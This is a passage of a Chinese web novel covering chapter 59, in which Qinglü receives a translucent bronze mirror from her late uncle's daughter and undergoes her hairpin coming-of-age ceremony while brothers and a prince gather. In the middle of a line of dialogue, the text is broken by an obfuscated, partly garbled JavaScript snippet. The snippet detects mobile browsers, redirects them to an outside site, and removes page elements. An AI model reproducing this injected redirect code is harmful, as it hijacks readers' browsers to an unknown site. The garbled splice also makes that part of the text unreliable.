青绿跑回去驱赶大鹅,小北则跑去喊附近的仆役,才将大鹅赶走。 然后,青绿的小屁屁被亲爹凡羲挥舞着戒尺一顿狠揍。 青绿也不哭,憋得小脸通红,咬牙气呼呼地想:明明我已舍身去救丫丫,为何被打的还是我?爹你打不死我,我一定跳进浴桶把自个淹死,让你丞相大人后悔一辈子。 凡羲气便不打一处来:“让你认个错便这么难么?”下手更重。 此时的丫丫,在凡不凡大哥的百般呵护下,终于止住了哭声。 亲娘纳兰芷楠火急火燎地赶来,夺下凡羲手上的戒尺,她清楚小二的性子,吃软不吃硬。 青绿委屈地放声大哭。 此事还没完,爹迈着六亲不认的步伐回书房前,对妹娘道:“下人在主子干蠢事时不加阻拦,还为虎作伥,留着何用?赶紧打发了。” 才在娘怀里止住哭声的青绿,哇地张嘴鬼哭狼嚎大哭,边哭边威胁道:“你们敢把小北赶走,我便离家出走。” 吓得小北跪在夫人面前叩头:“夫人,我知错了,别赶我走,我以后会管好二姑娘。”可怜的小北还不满七岁 妹娘亦流泪替小北求情:“夫人,小北四岁进府,好歹养了这些年,才刚刚用上。” 小北是妹娘花一两银子买来的,当时她头上插着草根,站在路旁瑟瑟发抖。进府门前,妹娘叮嘱她,要想长长久久能吃饱肚子,便得看好二姑娘,不能让二姑娘磕着碰着了。 小北记住了妹娘的话。她有些憨却很懂事,旁人只看见一个小人追着另一个小人满院子撒野,却没有听见小小北的叮嘱“姑娘,脚下有石头”、“姑娘,别爬那么高,小心摔着了”…… 经此事,青绿与丫丫之间生出几分隔阂。 青绿看着杏雨桃花般的丫丫,觉着既熟悉又陌生,她便是未来的大嫂、大名归若兮的丫丫?她觉着丫丫变化极大,亭亭玉立的身姿再不是儿时的羸弱病猫,还有,偶尔闪过的坚定眼神,也不再是随时寻求安慰的小可怜。 青绿有些不知所措,一眼瞥见一旁静静坐着的大哥凡不凡深情凝望着丫丫的眼神,觉着被强行喂了一嘴狗粮,不由心里嘲道:果然,我与你们还是不熟。 因勉强笑道:“丫丫姐,我这不是好好的。你何时来的我怎么不知道?归伯父的后事都办完了么?” 丫丫才要作答,凡雪霁上前道:“这不才到么?坐下慢慢说。”一手一个,拉着青绿及丫丫在自己身旁坐下。 丫丫拿出帕子擦了擦脸上的泪迹,轻声开口道:“早前便听说妹妹回了京师,还进了兰台,爹便时常惦记着,说二妹妹离家整整九年,不知道受了多少苦,还总念叨着要回京一趟,不过他自己也明白这是不可能的。” 青绿眼前浮现出一名目光锐利,满脸络腮胡子的高大中年男人。 爹的至交不多,常来家里的便是归伯伯,他爱用胡子扎青绿胖嘟嘟的脸蛋,青绿怵爹,更怵归伯伯,只要看见他们便躲得远远的。 只是有一次,听到归伯伯对爹提到兰台,便好奇地凑近去问:“归伯伯,兰台是兰还是台?” 归伯伯哈哈大笑道:“兰台非兰亦非台,是降魔伏妖的所在。” 她正要细问如何降魔伏妖,却被爹驱逐:“去去去,小孩家家的问兰台作甚。” 她翻着白眼走了,却由此在心里种下了兰台的概念。 丫丫看着青绿明澈的双眸,凄楚道:“爹的后事办完了。爹是清明前走的,临终前一再叮嘱我,说二妹妹今年及笄,生辰是八月十六,他有一份礼物,让我务必送到妹妹手上。” 59.第五十九章 及笄 青绿眸光清亮地看着丫丫,双手接过她递过来的一个木盒,心情异常沉重,她抚摸着盒盖,并未急于打开。 丫丫道:“我三个月前便已动身回京,不料赶上雨季,还遭遇了山洪,紧赶慢赶,昨夜才到京师,我想着,今日无论如何得将此物送给妹妹,这不,一大早便赶来了。” 青绿轻轻打开木匣,看到一面青铜镜,镜面光滑,背面雕琢有繁复的荷花纹。她举起铜镜细看,借以掩饰快要溢出眼眶的泪水。 此时一束阳光透过轩窗,恰巧照在青铜镜上,众人惊奇地发现,这是一面透光镜,光束将铜镜背面的花纹及四字铭文“以镜为鉴”清晰地反射在青绿身后的白墙上。 青绿顿觉漫无边际的伤感漫上心头,更有万千思绪在胸中翻滚。 凡不凡语重心长道:“以铜为镜,可以正衣冠;以史为镜,可以知兴替;以人为镜,可以知得失。” 青绿将青铜镜抱在胸前,含泪对丫丫感激道:“谢谢归伯伯,谢谢丫丫姐。我一定不辜负他老人家对我的期望。” 归伯伯名归芾之,曾在兰台任御史中丞。 丫丫点头,泪水潸然而下。 凡雪霁声音沉滞道:“妹妹节哀顺变。归伯伯一辈子坎坷劳碌,现在算是解脱了。我们都记着归伯伯的好。达成归伯伯的心愿,便是他老人家最大的心愿。” 丫丫擦去浸出眼角的泪水,对青绿道:“我热孝在身,一会妹妹的笄礼我便不参加了。” 青绿真诚道:“丫丫姐,你用过晚膳再走吧。” 晚膳是家宴,并无外人。 丫丫不答,目光却看向凡不凡。 凡不凡摇头,轻声道:“二殿下来参加晚宴,六殿下一会也来给二妹妹贺寿。” 青绿掩饰不住脸上的惊喜,连声问道:“殿下小哥不陪陛下去围场?姐夫来家用晚膳?”她回来这些日子,没去过凡雪霁的府上,故还没见过二皇子刘白。 凡雪霁掩饰不住脸上的得意之色,连连点头。刘白陪她回娘家,给足了她面子。 丫丫苦涩一笑。 妹娘忙转移话题:“丫丫,你姑母家待你如何?” 丫丫勉强笑道:“尚可。” 她并无兄弟姐妹,老家也无任何亲人,唯一的姑母嫁在京师。爹去世后,姑母回去帮她处理完后事,卖了老宅,带她回京,只等凡不凡丁忧期满嫁进凡府。 姑母、姑父待她一般。姑父是衙门吏员,秩级不高,曾开口求大舅哥给谋个好差事,铁面无私的大舅哥直言他的能力只适合做个普通吏员,故他心里一直有怨言,没少给丫丫脸色。而姑母要照料公婆和四个孩子,根本顾不上她。 她没了往日的锦衣玉食,还得拿出体己补贴姑母家用,因此满心盼着尽快嫁入凡府,哪怕如儿时寄养在凡府,也比现在寄在姑母篱下好得多。 凡雪霁握住她的手道:“妹妹放心,我们早已当你是大嫂,我会隔三差五到你姑母家瞧你,他们绝不敢看轻了你。” 丫丫含泪点头,转身对妹娘道:“妹娘,如此我便告辞了,再待下去恐耽搁青绿妹妹的笄礼。” 妹娘对凡不凡道:“大爷你送一送丫丫姑娘。”将几张大额银票塞进她手里,“拿着应急。” 丫丫推开妹娘的手:“妹娘,真的不用,爹留下的银子还有好些,卖老宅的银子也够姑母家用上一阵子。” 青绿劝道:“那些银子是你爹留给你的嫁妆。也是,你先用着,横竖你是嫁进我家的,嫁不嫁妆的无人计较。” 凡雪霁嗔道:“哪有姑娘出嫁不带嫁妆的,岂不让满京师的人看笑话?且丫丫嫁的是凡府嫡长子。” 丫丫脸色有些发白。 妹娘安慰道:“你不必担心,明年大爷丁忧期满,马上成亲。新年一过,我给你姑母一笔银子,让她替你置办嫁妆,让你风风光光出嫁,横竖都是带回凡府,不亏。” 凡不凡点头道:“只是委屈了妹妹,还得待在姑母家一段时日。” 丫丫脸含羞色,强颜欢笑:“你们都惦记着我,我不委屈。” 水妈妈进来对妹娘道:“时辰将到,主子们请移步听韵阁。” 笄礼主场安排在青绿所住的听韵阁正厅。 众人目送凡不凡和丫丫离开,便一起往听韵阁而去 马车上,凡不凡与丫丫相对而坐,他目光温润地看着丫丫,一抹离愁浮在她似蹙非蹙的蛾眉间,更显得楚楚动人。 丫丫手上拿着一枚随秋风翩然落下的树叶默不作声,树叶浓绿的色彩还没有褪尽,却夹杂了丝丝缕缕的褐黄。 良久,一滴清泪“叭嗒”一下滴落在树叶上,她幽幽叹道:“家者,心安之所,百般挣扎不过为安一个家。” 不凡将她柔荑般的手合在自己温暖的手心里,以不容置疑的口气道:“妹妹放心,明年此时,我会给妹妹一个安稳的家。” 凡不凡在大门外下了马车,一直看到丫丫乘坐的马车变成一个黑点,方才转身进了大门。 便此时,一阵急骤的马蹄声传来,不凡回头一看,几匹高头大马便到了跟前,一名风尘仆仆却英姿勃发的青年男子翻身下马。 凡不凡眼神骤亮,上去亲热地一拳打在男子坚实的胸膛上:“二弟,你小子现在才到。” 凡非凡嘿嘿一笑,唤道:“大哥。” 扈从上前施礼:“见过二爷。”接过他手里的缰绳,同时招呼几名亲兵。 兄弟二人上了专供主子进出的马车。 凡非凡问:“小二的笄礼开始了么?” 凡不凡道:“应该开始了,要否去听韵阁观礼?” 凡非凡笑道:“我连日赶路,总得先洗个澡,换身干净衣裳。”伸出胳膊放在自己鼻子底下闻了闻,“一股子咸鱼味,没的让小二嫌弃。”语气里竟是满满的宠溺。 凡不凡有些吃醋:“你总共才见二妹妹一次,还救了她,她敢嫌弃你?” 青绿从西域回来,和大哥轻描淡写地说起自己遇到了意外,危急关头,二哥出现化解了危机。凡不凡知道事情肯定没她说的那么简单,但也不多问,宫里的规矩,不该问的不问,兰台的事更是不能问,问了青绿也不会说。 兄弟二人说着各自的近况,不一会便到了春松阁。 下了马车,凡非凡自回自己的院里换装。 凡不凡待要往听韵阁而去,一辆奢华马车停在他面前。 从马车上下来的刘睿,一袭质地精良的月白色锦服,明黄锦缎压边,腰间扎一条同色金丝蛛纹带,身姿修长笔挺,整个人透着与生俱来的高贵,随后一位眉眼微微上扬,英气与妩媚集于一身的宫装女子也下了马车。 凡不凡迎上前去施礼:“恭迎六殿下。” 刘睿颔首回礼,笑盈盈地问:“小二呢?笄礼结束了?”眼神带了疑问,“你怎么不参加?”他是外男,不便参加笄礼,刻意来晚些。 凡不凡回道:“应该快结束了。我才送客人出门。笄礼由凡雪霁妹妹主持,我们先往听韵阁小二的书房歇一会。” 凡不凡领着刘睿朝听韵阁走去,宫装美人小碎步在后跟着,不时抬眼环视一下四周景色,面露震惊之色。 位于城东北隅、浐水之畔的约素园,依山形水势而建,楼榭亭阁上下错落,且随地势高低筑台凿池,清溪萦回,高处可览浐水两岸桃李夹岸、长桥卧波、烟柳莺啼之景。与宫内的殿堂相比,多了些自然野趣。 三人到了听韵阁,一入院门,凡不凡止住了要进去通报的丫鬟,让她带往书房。 刘睿却停住了脚步,从此处可看见大厅内正在举行的仪式。 宫装女子轻声对刘睿解释道:“这是笄礼倒数的第二个步骤:笄者揖谢。” 便见青绿立于大厅中央,一身墨绿色提花绸大袖长裙礼服,腰间用同色软烟罗系成一个小小蝴蝶结,露出下面佩带的精巧繁复的金缨络羊脂白玉步摇,头上插着掐丝鎏金凤簪,一一向在场的所有参礼者行揖礼以示感谢。 此刻的青绿,脸上肤色仍是偏黑,单薄的身子更显修长,但盛装之下,神情端庄而肃穆。 刘睿有些动容,对凡不凡道:“小二长大了,小二竟然也能长大。” 凡不凡也颇为感慨:“是长大了,便在眨眼之间。”他眼眶有些湿润,“我们错过了她的九年光阴。” 一言至此,他的心狠狠一痛,过去的九年,一个一出生便锦衣玉食的五岁小姑娘,要如何坚强才能独自抵御外面的残酷?青绿从不与人细说,或许是不愿触碰过往的伤痛吧。 刘睿感叹道:“我们也老了。”他看见换了一身简装,神清气爽远远朝他们走来的凡非凡,笑道:“非凡也回来了?我说,你何时成亲?丫丫都快熬成老姑婆了。凡府男儿没一个成家的,妹娘的心整日无处安放。” 他自顾笑了起来:“我还记得小二说的那句‘你若敢和丫丫玩,便自个去面壁思过。’” 凡不凡也笑:“可不?她总说我偏心,问我是不是她亲哥。” 看了一眼宫装女子,补充,“五十步笑百步,殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724501|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不也还是没立正妃?亏你还是东宫主子,不怕成了老头子,嫡子还没一撇?”他一惯端肃,极少以牙还牙,这句话算是对丫丫被诬为老姑婆出了一口气。 一旁的凡非凡“嘿嘿”笑了两声,向刘睿施礼:“见过六殿下。” 刘睿颔首回礼。 此时,又听司仪唱道:“礼成”。 四人目光朝大厅看去,但见青绿与凡雪霁并排面向所有参礼者。 凡雪霁柔声宣布:“小妹青绿笄礼已成,感谢各位宾朋嘉客盛情参与!”与青绿再行长揖礼。 刘睿看着睫羽纤长,眼波流转的青绿,对凡不凡笑道:“也不知为何,整个东宫便没一个像小二这般有灵气的丫头,全都唯唯诺诺,看着便乏。” 凡不凡笑道:“小二琢磨的事情与旁人不同,对功名利禄看得很淡,故少了许多羁绊。”他目视远方,“正所谓‘嗜欲深者天机浅,嗜欲浅者天机深’,人若贪婪无度,便会失却智慧,错失机缘与福报;若能淡泊名利,结局自会相反。” 刘睿由衷地感叹:“小二大气。” 凡不凡见室内众人有朝外走的迹象,忙领着刘睿等人闪至书房,虚掩上房门,待众人走远再出来时,看见青绿已经换下礼服,摘了满头朱钗,与一名丫鬟离开了听韵阁。四人悄悄跟了上去。 青绿与小北匆匆赶往前院,她要去陪客人用午膳。 小北道:“姑娘慢些走,不急,去早了又被人当粽子相看。这可是姑娘自己说的。” 青绿作势去打小北,头上的发髻却猛不丁被人向后扯去,她双手护着发髻,痛心疾首道:“本姑娘花了半个时辰才梳起来的及笄头,弄乱了你赔。”右脚朝后一扫,结结实实给身后的偷袭者一记螳螂腿。 便听“哎哟”一声,青绿回头看去,却是刘睿。 他龇牙咧嘴指着自己衣裳上的脚印笑骂道:“你个野丫头,这么使劲做甚?” 青绿秒变笑脸,十分狗腿地拍去刘睿腿上的脚印,嘴里却嘟囔道:“能不能有些创意,只会揪人发髻,一招鲜吃遍天?”扬起明媚笑脸,“欢迎殿下小哥光临,豪舍蓬荜生辉。好了,马屁拍完了,把我的生辰礼拿出来吧。” 刘睿板起脸道:“还想要礼物?没了,被你一脚踢没了。” 青绿小脸一黑:“切,小气。” 她忽然看到了从刘睿身后闪身而出的凡非凡,喜得扑过去摇着他的胳膊,发自心底的笑靥如花,连声音带着娇憨和软糯:“二哥。” 双脚一缩,团成一团便挂在凡非凡弯曲的手臂上,闭上双眼自我陶醉道:“一大早起来,行礼行得我小腰都折了,还是我二哥哥待我最好。” 小北在一旁小声纠正:“妹娘说,这般年纪的小姑娘没有腰。” 刘睿与凡不凡同时骂道:“小没良心的。” 青绿挂在凡非凡平举着的胳膊上,如一个小灯笼,晃荡晃荡朝前走了一会,方睁开眼帘,却看见了一脸的震惊、羡慕、不解等各种复杂表情、一身宫装的钟离梨。 青绿尴尬地双脚着地:“梨子,你怎么来了也不吱一声?”没等她回答,小脸转向刘睿,“殿下小哥换了舍人么?”语中的不解较钟离梨的尤甚。 钟离梨是震惊于青绿显赫的家世,羡慕于宠她的是如此庞大的天之骄子团,故而不解她为何要在兰台出生入死,在府里当个前呼后拥的小主子不香么? 青绿的不解,是为何跟在刘睿身后的不是萧文渊?钟离梨只是借到东宫跳舞的秀女,借人不用还么? 刘睿十分轻松道:“因为你这臭丫头过生辰,我把你同窗带来了。” 凡不凡疑惑道:“何来的同窗?小二连正经学堂都没进过。” 刘睿故作神秘道:“人家可是在秀女第一百二十期培训班受训的,虽说没有熬到结业。” 凡不凡忍不住呵呵。 青绿十分高兴地朝刘睿行了一个谢礼,拉着钟离梨雀跃道:“走,与我到前头收礼物去。”拉着钟离梨快步前行。 转过一座假山,听不到身后的说话声,青绿方才放缓脚步对钟离梨道:“正好你来了,不然我还得寻个借口去你那。节后我便要出远门办差,你替我留意七竹嬷嬷,她从永巷出来后,若遇危险,你务必求殿下保下她。” 钟离梨点头应承:“你放心。” 青绿又问:“你算是东宫的人了?” 钟离梨摇头:“不是,节后我便回鸣鸾殿。” 青绿有些遗憾:“若能留在东宫便好了,我寻你说话也方便。”